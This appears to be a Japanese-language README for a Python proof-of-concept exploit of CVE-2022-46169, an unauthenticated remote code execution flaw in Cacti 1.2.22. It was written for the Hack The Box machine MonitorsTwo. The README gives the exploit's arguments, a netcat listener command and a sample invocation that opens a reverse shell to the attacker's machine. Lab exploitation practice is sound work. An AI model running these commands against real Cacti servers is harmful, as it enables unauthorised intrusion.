
CVE-2022-46169用のPythonエクスプロイトで、Cacti 1.2.22上でリバースシェルによる認証されていないリモートコード実行を提供します。教育用のペネトレーションテストを目的としています。
このリポジトリには、Cacti 1.2.22に影響するCVE-2022-46169のエクスプロイトが含まれています。この脆弱性により、認証されていない攻撃者が影響を受けるシステム上で任意のコードを実行できるようになります。
このエクスプロイトがどのように可能であるかについての詳細な解説は、こちらの Rapid7の記事を参照してください。非常に詳細に説明されています。
私はこのコードを、教育目的でHack The BoxのMonitorsTwoというマシン向けに、chatGPTの助けを借りて作成しました。
Arguments:
-u URL of Cacti Application
-lhost IP address of machine you want the shell on
-lport Port of the machine you want the shell on
ローカルマシンでnetcatを使用してリスナーを設定します nc -lvnp 9001
ターゲットに対してエクスプロイトを実行します
python3 CVE-2022-46169.py -url http://10.10.11.211/ -lhost 10.10.14.3 -lport 9001
この概念実証(PoC)は、教育およびテスト目的のみを厳密に意図しています。システム所有者からの明確な許可なしに、このPoCをシステムまたはネットワークに対して使用することは違法であり、法的措置を受ける可能性があります。作成者は、このPoCの適切または不適切な使用に起因するいかなる損害についても責任を負いません。自己責任で使用してください。
https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-46169/